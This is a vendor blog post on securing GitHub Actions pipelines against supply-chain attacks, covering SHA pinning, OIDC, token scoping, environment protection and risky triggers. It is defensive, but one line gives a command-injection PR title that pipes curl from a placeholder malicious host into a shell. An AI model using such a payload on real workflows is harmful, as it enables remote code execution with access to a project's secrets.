How Do You Secure GitHub Actions Against Supply-Chain Attacks?
GitHub Actions supply-chain attacks compromised 23,000 repos in 2025. Learn how to pin actions, replace secrets with OIDC, and scope permissions to harden CI/CD.
GitHub Actions security is a CI/CD requirement, not an optional hardening step. The March 2025 tj-actions incident showed exactly what a compromised workflow looks like at scale: a re-tagged third-party action ran credential-harvesting code across 23,000 repositories in hours, and 14 secondary breaches were confirmed before the tag was reverted. In 2026, supply-chain attacks against CI/CD pipelines are one of the fastest-growing attack vectors in cloud-native environments — and GitHub Actions, by design, runs with access to your secrets, your cloud credentials, and your package-publishing keys. For teams that also run a security gate in their CI/CD pipeline, tightening the pipeline's own permissions is the prerequisite that makes those gates meaningful.
The root problem is that most teams configure GitHub Actions for speed, not for minimal trust. Third-party actions are pinned to tags that can be moved. Secrets are stored broadly and scoped generously. GITHUB_TOKEN permissions default to read-write on many repository operations. The fixes are specific, concrete, and achievable in an afternoon — this post covers each one in production-applicable detail.
Why GitHub Actions Workflows Are a Supply-Chain Attack Surface
A workflow is code that runs with access to privileged resources on every push, pull request, or scheduled trigger. The access model is powerful by design: actions can read source code, publish packages, deploy to cloud environments, and write to the repository. That same power makes a compromised or misconfigured workflow a high-value target that sits one dependency away from your production infrastructure.
- →Third-party actions are dependencies: when you write `uses: some-org/some-action@v3`, you are running code maintained by another team. If their GitHub account is compromised, an attacker re-tags that version to a malicious commit. Your next workflow run executes attacker code with your secrets in scope — no pull request, no code review, no warning.
- →The tj-actions attack pattern: the March 2025 attack moved popular version tags of the tj-actions/changed-files action to a commit that read all in-scope secrets and printed them to the workflow log. GitHub logs for public repositories are publicly readable, so every printed secret was immediately compromised. 23,000 repositories ran the malicious code before the incident was contained.
- →The @tanstack CVE-2026-45321 pattern: a May 2026 incident chained a pull_request_target misconfiguration, Actions cache poisoning, and OIDC token extraction to publish malicious versions of @tanstack packages under the project's own trusted-publisher identity — meaning the packages carried valid provenance signatures that did not indicate tampering.
- →Workflow secrets scope is broader than developers realize: a secret defined at the repository or organization level is accessible to any workflow in that context unless you use environment-scoped secrets with explicit gates. A compromised action in a non-production workflow can still access credentials that belong to production.
Pin Third-Party Actions to Full Commit SHAs, Not Version Tags
The single highest-impact change you can make to your GitHub Actions security posture is pinning every third-party action to a full 40-character commit SHA instead of a version tag or branch name. Tags are mutable — the owner of the upstream repository can point a tag to any commit at any time, as the tj-actions attack demonstrated. A commit SHA is immutable: once a commit exists, its SHA permanently identifies exactly that code.
- →The correct format is `uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683` for the specific commit that corresponds to the version you want. Use the GitHub releases page or `git rev-parse <tag>` on the upstream repository to look up the SHA for the tag you are currently referencing.
- →Dependabot handles the rotation burden automatically: add a `github-actions` entry to your `.github/dependabot.yml` and configure a weekly update schedule. Dependabot opens PRs that update the pinned SHA whenever a new version is released upstream, keeping you current without manually tracking changes.
- →GitHub's 2026 workflow lockfile feature extends automatic pinning at the platform level: the roadmap item adds a first-party lockfile concept that tracks all direct and transitive action dependencies — including actions called from within other actions — with their commit SHAs. Until it ships and stabilizes, SHA-pinning your direct dependencies is the correct baseline.
- →Apply the same principle to container images in your workflows: a Docker image referenced by tag in a `container` or `services` block is as mutable as an action referenced by tag. Pin container images to their digest (`image@sha256:...`) so the exact image layer cannot be swapped under a workflow run.
Replace Long-Lived Secrets With OIDC for Cloud Deployments
Every long-lived credential stored in GitHub Secrets — an AWS access key, a GCP service account key, an Azure client secret — is a static credential that persists until rotated. If it leaks, it is valid until someone notices and revokes it. OIDC (OpenID Connect) replaces this model: instead of storing a credential, your workflow requests a short-lived identity token from GitHub's OIDC provider, presents it to your cloud provider, and receives temporary credentials scoped to that specific run. This is the keyless deployment model that Belsoft's cloud infrastructure practice applies to every Terraform-managed environment.
- →AWS configuration: create an IAM OIDC identity provider for `token.actions.githubusercontent.com`, create an IAM role, and add a trust policy with a `sub` condition like `repo:your-org/your-repo:environment:production`. Your workflow uses `aws-actions/configure-aws-credentials` with `role-to-assume` and `aws-region`. No access key stored anywhere — the credentials exist only for the duration of the job.
- →The sub condition is mandatory, not optional: a trust policy that only checks the OIDC provider without a scoped `sub` condition allows any GitHub Actions workflow from any repository at the provider to assume the role. The UNC6426 attack chain in 2026 demonstrated exactly this gap — an OIDC-configured role with an insufficiently scoped trust policy handed cloud admin credentials to an attacker whose workflow met only the provider check.
- →GCP and Azure support the same pattern: GCP uses Workload Identity Federation with a subject attribute condition; Azure uses federated credentials on a managed identity. All three major cloud providers support OIDC natively, and the official actions for each handle the token exchange without requiring stored secrets.
- →Use stored secrets for what OIDC cannot replace: third-party API keys, database connection strings, signing keys, and webhook secrets that have no OIDC equivalent. Keep these as environment-scoped secrets rather than repository secrets, audit the list quarterly, and remove any that are no longer used in an active workflow.
Scope GITHUB_TOKEN Permissions to Least Privilege
The GITHUB_TOKEN is an auto-generated credential for the workflow run. Its default permissions vary by repository setting — older repositories default to read-write for many scopes; newer repositories and organizations that have opted into the restrictive default start with read permissions. Either way, most workflows request more than they use.
- →Set a workflow-level default of `permissions: {}` (empty, no permissions) or `permissions: contents: read` and override per-job only where required. A build workflow that only checks out source and runs tests needs no write permissions at all. A job that opens a release commit needs `contents: write` on that specific job, not on the entire workflow.
- →Declare permissions at the job level using the `permissions` key inline: `contents: read` for jobs that test; `contents: write` and `pull-requests: write` only for jobs that create release commits or comment on PRs. Overly broad permissions mean a compromised earlier step can access write tokens it has no legitimate use for.
- →Never grant `packages: write` or `deployments: write` to the entire workflow when only the final publish step requires it. Isolate the publish step into a separate job with the minimum required permission, so a compromised earlier step cannot access the publishing token.
- →Restrict who can trigger `workflow_dispatch` and schedule events on deployment workflows: keep these triggers restricted to protected branches and require workflow approval from a named team. An unapproved manual trigger on a deployment workflow with broad secrets access is an escalation path that branch protection alone does not close.
Isolate Production Secrets With Environment Protection Rules
Repository-level secrets are accessible to any workflow that runs in that repository. If a non-production workflow is compromised — or if a contributor opens a pull request with a workflow modification — it can access production database credentials unless you explicitly isolate them. GitHub Environments with protection rules close this gap.
- →Create separate environments — `staging` and `production` — in your repository settings, and assign secrets to those environments rather than to the repository directly. A workflow must reference the environment name explicitly and pass its protection rules before GitHub provides the secrets to the job.
- →Configure required reviewers on the production environment: before GitHub provides production secrets to the job, a specified team member must approve the deployment. This human gate prevents automated escalation from a compromised workflow that references the environment name.
- →Branch restrictions limit which branches can deploy to a given environment: restricting the production environment to `main` means a workflow triggered from a feature branch or a pull request from a fork cannot access production secrets, even if the workflow YAML references the environment.
- →Wait timers add a mandatory delay between job trigger and secret access: a 5-minute timer gives your team a window to notice an unexpected production deployment and cancel it before secrets are accessed. Combined with alerting on unexpected deployment events in your audit log, this closes a gap that branch protection alone does not.
Block Dangerous Trigger Patterns: pull_request_target and Untrusted Input
Several GitHub Actions trigger configurations create privilege escalation paths that are non-obvious from the workflow YAML. The most dangerous is `pull_request_target`, which runs with write access to the target repository even when triggered by a pull request from a fork — including untrusted forks from outside contributors.
- →`pull_request_target` is designed for specific use cases — adding labels or comments to external pull requests using the target repository's credentials. If you use it, never checkout or run code from the pull request branch in the same job. If the workflow runs `actions/checkout` with the pull request's `ref`, any contributor can run arbitrary code with write access to your repository.
- →Avoid injecting untrusted GitHub context values into shell expressions: `${{ github.event.pull_request.title }}` can contain shell metacharacters if someone names a PR `$(curl malicious.com | sh)`. Use environment variables as the indirection layer — assign context values to `env` keys and reference them as `$ENV_VAR` in shell steps, never inline in `run` blocks.
- →Cache poisoning through shared cache namespaces is an underappreciated attack vector: a workflow run that has write access to Actions cache entries can inject a poisoned cache that persists to future runs in the same namespace. Scope your cache keys to the commit SHA or a hash of the dependency lockfile so they cannot be overwritten by a workflow that runs against a different commit.
- →Audit `pull_request_target` usages in your repository: search `.github/workflows/` for every file that references this trigger. Each occurrence deserves a manual review to confirm it does not checkout or execute the pull request's code, and that it does not expose repository secrets to the external contributor's context.
Add DeployReady to Your Workflow as a Security Gate
Hardening the workflow's own configuration is one half of CI/CD security. The other half is what the workflow deploys. DeployReady is Belsoft's open-source CLI that runs 30+ static and dynamic security checks — missing HTTP headers, exposed secrets in environment variables, Supabase RLS gaps, auth bypass patterns, OWASP Top 10 misconfigurations — and returns a 0–100 readiness score with optional AI-assisted fix suggestions. It runs entirely locally (no data leaves your environment), installs in one line, and takes under 30 seconds.
- →Add a `deployready` job to every pull request workflow: run `npx deployready --fail-below 80` (or your chosen threshold) as a required status check. A pull request that reduces the readiness score below the threshold is blocked until the issues are fixed — bringing security review into the same gate as tests and type-checking.
- →Connect the two layers of defense: a workflow that is correctly permission-scoped and secret-isolated (this post's topic) but that deploys an application with an exposed API key or missing RLS policy has only closed half the attack surface. The platform engineering and CI/CD practice goes deeper on policy-as-code approaches for the deployment target side.
- →Track readiness score trends across branches: DeployReady's JSON output (`--output json`) is machine-readable. Pipe it into your build artifact store to track how the score changes over time, alert on regressions, and give new engineers a concrete metric for the security baseline they need to maintain.
Frequently Asked Questions
What is the safest way to store AWS credentials in GitHub Actions?
The safest approach is to not store AWS credentials at all. Configure AWS IAM to trust GitHub's OIDC provider at `token.actions.githubusercontent.com`, create an IAM role with a trust policy that includes a `sub` condition scoped to your specific repository and environment, and use `aws-actions/configure-aws-credentials` with `role-to-assume` in your workflow. Credentials are issued fresh for each job and expire when it completes — there is nothing stored in GitHub Secrets that can be exfiltrated.
How do I pin third-party GitHub Actions to commit SHAs?
Look up the full 40-character commit SHA for the action version you use — check the action's releases page on GitHub or run `git rev-parse <tag>` on the upstream repository. Replace the tag reference in your workflow YAML with the SHA: `uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683`. Add a `github-actions` entry in your `.github/dependabot.yml` to automate SHA updates when new upstream versions are released.
What happened in the tj-actions supply-chain attack?
In March 2025, an attacker who had compromised an upstream maintainer's account moved popular version tags — including `v35` — of the `tj-actions/changed-files` action to a commit that read all in-scope secrets and printed them to the GitHub Actions log. Logs for public repositories are publicly readable, so every printed secret was immediately compromised. 23,000 repositories ran the malicious code before the tags were reverted, and 14 confirmed secondary breaches traced back to credentials harvested through the compromised workflow.
Should I use pull_request_target in my workflows?
Use `pull_request_target` only when you genuinely need write access to the target repository in response to an external fork's pull request — such as applying labels or posting automated comments. Never combine it with `actions/checkout` using the pull request's `ref` in the same job: that combination executes untrusted code with write access to your repository. If you need to build and test code from a fork, use `pull_request` (not `pull_request_target`), which runs with read-only permissions and no access to target repository secrets.
How do environment protection rules prevent secret exposure in GitHub Actions?
When a workflow job references a GitHub Environment, GitHub checks the environment's protection rules before providing the environment's secrets to the job. Required reviewers force a human approval step, branch restrictions limit which branches can trigger the environment, and wait timers add a mandatory delay. Together, these controls ensure production secrets can only be accessed by human-approved deployments from protected branches — not by any workflow that happens to reference the environment name.
How Belsoft Helps Harden Your CI/CD Pipeline
CI/CD security is infrastructure security. Belsoft's cloud infrastructure practice applies the same threat-model rigor to pipelines as to production environments: we audit your GitHub Actions workflows for misconfigured triggers, overly permissive GITHUB_TOKEN scopes, and long-lived secrets that should be replaced with OIDC; configure environment protection rules and branch restrictions for production deployments; and integrate DeployReady as a required CI gate so application-level security regressions are caught before merge, not after deploy.
For teams preparing for SOC 2 or enterprise security questionnaires, the CI/CD pipeline is one of the first areas reviewed: auditors ask how secrets are managed, how deployments are approved, and what prevents an engineer from pushing directly to production. Belsoft structures the pipeline so the answers to those questions are demonstrably correct — not aspirational. Book a call to scope what a pipeline hardening engagement would involve for your stack.
“A CI/CD pipeline with write access to your cloud, your packages, and your secrets is production infrastructure — it deserves the same threat-model analysis as your API.”
Written by
Diana Costa
Cloud & Platform Engineer, Belsoft Solutions
More from the blog
Ready to partner?
Let's talk about your company.
30 minutes. No pitch. We talk through how you run today and where AI and automation would help.
Book a free audit
